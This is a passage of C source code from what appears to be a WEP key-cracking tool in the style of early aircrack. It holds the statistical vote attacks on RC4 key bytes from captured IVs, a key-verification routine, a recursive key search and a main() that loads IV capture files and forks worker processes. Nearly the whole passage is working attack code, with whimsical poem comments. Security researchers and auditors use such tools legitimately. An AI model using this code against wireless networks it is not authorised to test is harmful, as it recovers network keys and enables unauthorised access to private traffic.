) { Kq = io1 - dq; votes[A_s5_1][Kq]++; } if( ( S1 > q ) && ( ( ( S2 + S1 - q ) & 0xff ) == 0 ) ) { if( o2 == S1 ) { jq = Si[(S1 - S2) & 0xFF]; if( ( jq != 1 ) && ( jq != 2 ) ) { Kq = jq - dq; votes[A_s5_2][Kq]++; } } else if( o2 == ( ( 2 - S2 ) & 0xFF ) ) { jq = io2; if( ( jq != 1 ) && ( jq != 2 ) ) { Kq = jq - dq; votes[A_s5_3][Kq]++; } } } /* * And, has thou slain the Jabberwock? * Come to my arms, my beamish boy! * O frabjous day! Callooh! Callay!' * He chortled in his joy. */ if( ( S[1] != 2 ) && ( S[2] != 0 ) ) { J2 = S[1] + S[2]; if( J2 < q ) { t2 = S[J2] + S[2]; if( ( t2 == q ) && ( io2 != 1 ) && ( io2 != 2 ) && ( io2 != J2 ) ) { Kq = io2 - dq; votes[A_s3][Kq]++; } } } /* * `Twas brillig, and the slithy toves * Did gyre and gimble in the wabe: * All mimsy were the borogoves, * And the mome raths outgrabe. */ if( S1 == 2 ) { if( q == 4 ) { if( o2 == 0 ) { Kq = Si[0] - dq; votes[A_4_s13][Kq]++; } else { if( ( jj[1] == 2 ) && ( io2 == 0 ) ) { Kq = Si[254] - dq; votes[A_4_u5_1][Kq]++; } if( ( jj[1] == 2 ) && ( io2 == 2 ) ) { Kq = Si[255] - dq; votes[A_4_u5_2][Kq]++; } } } else if( ( q > 4 ) && ( ( S[4] + 2 ) == q ) && ( io2 != 1 ) && ( io2 != 4 ) ) { Kq = io2 - dq; votes[A_u5_4][Kq]++; } } } if( safe_write( cm_pipe[child][1], votes, sizeof( votes ) ) != sizeof( votes ) ) { perror( "in calc_votes: write()" ); return( FAILURE ); } goto wait_for_master; } /* routine that tests if a potential key is valid */ int check_wepkey( void ) { unsigned char K[64]; unsigned char S[256]; unsigned char R[256]; unsigned char x1, x2; unsigned long xv; int i, j, n, match; match = 0; memcpy( K + 3, wepkey, weplen ); for( i = 0; i < 256; i++ ) R[i] = i; for( n = 0; n < 8; n++ ) { xv = 5 * ( rand() % nb_ivs ); memcpy( K, &ivbuf[xv], 3 ); memcpy( S, R, 256 ); for( i = j = 0; i < 256; i++ ) { j = ( j + S[i] + K[i & (2 + weplen)]) & 0xFF; SWAP( S[i], S[j] ); } i = 1; j = ( 0 + S[i] ) & 0xFF; SWAP(S[i], S[j]); x1 = ivbuf[xv + 3] ^ S[(S[i] + S[j]) & 0xFF]; i = 2; j = ( j + S[i] ) & 0xFF; SWAP(S[i], S[j]); x2 = ivbuf[xv + 4] ^ S[(S[i] + S[j]) & 0xFF]; if( ( x1 == 0xAA && x2 == 0xAA ) || ( x1 == 0xE0 && x2 == 0xE0 ) ) match++; } if( match >= 4 ) return( SUCCESS ); return( FAILURE ); } /* routine used to sort the votes */ int cmp_votes( const void *bs1, const void *bs2 ) { if( ((struct byte_stat *) bs1)->votes < ((struct byte_stat *) bs2)->votes ) return( 1 ); if( ((struct byte_stat *) bs1)->votes > ((struct byte_stat *) bs2)->votes ) return( -1 ); return( 0 ); } /* this routine computes the average votes and recurses */ int do_wep_crack( int B ) { int child, i, n, *vi; int votes[N_ATTACKS][256]; for( i = 0; i < 256; i++ ) { wpoll[B][i].index = i; wpoll[B][i].votes = 0; } memset( votes, 0, sizeof( votes ) ); /* send B and wepkey to each child */ buffer[0] = (unsigned char) B; memcpy( buffer + 1, wepkey, 61 ); for( child = 0; child < nfork; child++ ) { if( safe_write( mc_pipe[child][1], buffer, 64 ) != 64 ) { perror( "in do_wep_crack: write()" ); return( FAILURE ); } } /* collect the poll results from each child */ for( child = 0; child < nfork; child++ ) { if( safe_read( cm_pipe[child][0], buffer, sizeof( votes ) ) != sizeof( votes ) ) { perror( "in do_wep_crack: read()" ); return( FAILURE ); } vi = (int *) buffer; for( n = 0; n < N_ATTACKS; n++ ) for( i = 0; i < 256; i++, vi++ ) votes[n][i] += *vi; } /* compute the average vote and reject the unlikely keybytes */ for( i = 0; i < 256; i++ ) { for( n = 0; n < N_ATTACKS; n++ ) { wpoll[B][i].votes += coeff_attacks[stability][n] * votes[n][i]; } wpoll[B][i].votes -= 20 * votes[A_neg][i]; } /* set votes to the max if keybyte is user-defined */ if( B < debug_lvl ) wpoll[B][debug[B]].votes = INFINITY; /* sort the votes, highest ones first */ qsort( wpoll[B], 256, sizeof( struct byte_stat ), cmp_votes ); /* see how far we should go based on the number of votes */ for( fudge[B] = 1; fudge[B] < 256; fudge[B]++ ) if( wpoll[B][fudge[B]].votes < wpoll[B][0].votes / ffact ) break; /* try the most likely n votes, where n is our current fudge */ for( depth[B] = 0; depth[B] < fudge[B]; depth[B]++ ) { if( B == weplen - 1 ) tried++; wepkey[B] = wpoll[B][depth[B]].index; show_stats( B ); if( B == 4 && weplen == 13 ) { weplen = 5; if( check_wepkey() == SUCCESS ) goto keyfound; weplen = 13; } if( B < weplen - 1 ) { /* this keybyte has been set, attack the next one */ if( do_wep_crack( B + 1 ) == SUCCESS ) return( SUCCESS ); } else { /* last keybyte reached, so check if wepkey is valid */ if( check_wepkey() == SUCCESS ) { keyfound: /* we have a valid key */ show_stats( B ); printf( " \33[31;1mKEY FOUND! [ " ); for( i = 0; i < weplen; i++ ) printf( "%02X", wepkey[i] ); printf( " ]\33[0m\n\n" ); kill( 0, SIGTERM ); return( SUCCESS ); } } } if( B == 0 ) { printf( " No luck, sorry.\n\n" ); kill( 0, SIGTERM ); } return( FAILURE ); } /* routine that handles signals */ void my_sighandler( int signum ) { if( signum == SIGTERM ) { sleep( 1 ); exit( 0 ); } if( signum == SIGCHLD ) { printf( "\ngot unexpected SIGCHLD, exiting.\n" ); kill( 0, SIGTERM ); exit( FAILURE ); } } /* program entry point */ int main( int argc, char *argv[] ) { char *s; int i, n, pid; /* check the arguments */ if( argc < 2 ) { usage: printf( usage ); return( FAILURE ); } while( 1 ) { int option = getopt( argc, argv, "d:f:m:n:p:s:" ); if( option < 0 ) break; switch( option ) { case 'd' : i = 0; s = optarg; buffer[0] = s[0]; buffer[1] = s[1]; buffer[2] = '\0'; while( sscanf( buffer, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) goto usage; debug[i++] = n; if( i >= 61 ) break; s += 2; if( s[0] == '\0' || s[1] == '\0' ) break; buffer[0] = s[0]; buffer[1] = s[1]; } if( i == 0 ) goto usage; debug_lvl = i; break; case 'f' : if( sscanf( optarg, "%d", &ffact ) != 1 ) goto usage; if( ffact < 1 ) goto usage; break; case 'm': i = 0; s = optarg; while( sscanf( s, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) goto usage; maddr[i] = n; i++; if( i == 6 ) break; if( ! ( s = strchr( s, ':' ) ) ) break; s++; } if( i != 6 ) goto usage; macfilter = 1; break; case 'n' : if( sscanf( optarg, "%d", &weplen ) != 1 ) goto usage; if( weplen != 64 && weplen != 128 && weplen != 256 && weplen != 512 ) goto usage; weplen = ( weplen / 8 ) - 3; break; case 'p' : if( sscanf( optarg, "%d", &nfork ) != 1 ) goto usage; if( nfork < 1 || nfork > 256 ) goto usage; break; case 's': if( sscanf( optarg, "%d", &stability ) != 1 ) goto usage; if( stability < 0 || stability > 3 ) goto usage; break; default : goto usage; } } if( ! ( argc - optind ) ) goto usage; /* initialize all the data */ nb_ivs = 0; if( ! ( ivbuf = (unsigned char *) malloc( 5 * 256 * 256 * 256 ) ) ) { fprintf( stderr, "malloc(80 MB) failed\n" ); return( FAILURE ); } if( ! ( test_unique_ivs = (char *) malloc( 256 * 256 * 256 ) ) ) { fprintf( stderr, "malloc(16 MB) failed\n" ); return( FAILURE ); } memset( test_unique_ivs, 0, 256 * 256 * 256 ); /* read the packets from each file */ while( optind != argc ) { if( read_ivs( argv[optind] ) != SUCCESS ) return( FAILURE ); optind++; } free( test_unique_ivs ); if( nb_ivs < 8 ) { printf( "Not enough IVs, exiting.\n" ); return( 1 ); } /* fork the children */ signal( SIGTERM, SIG_IGN ); signal( SIGCHLD, my_sighandler ); for( i = 0; i < nfork; i++ ) { pipe( mc_pipe[i] ); pipe( cm_pipe[i] ); if( ( pid = fork() ) < 0 ) { perror( "fork" ); return( FAILURE ); } if( ! pid ) { signal( SIGTERM, my_sighandler ); return( calc_votes( i ) ); } } /* launch the attack */ srand( time( NULL ) ); tm_start = time( NULL ); tm_prev = time( NULL ); printf( "\33[2J" ); fflush( stdout ); return( do_wep_crack( 0 ) ); }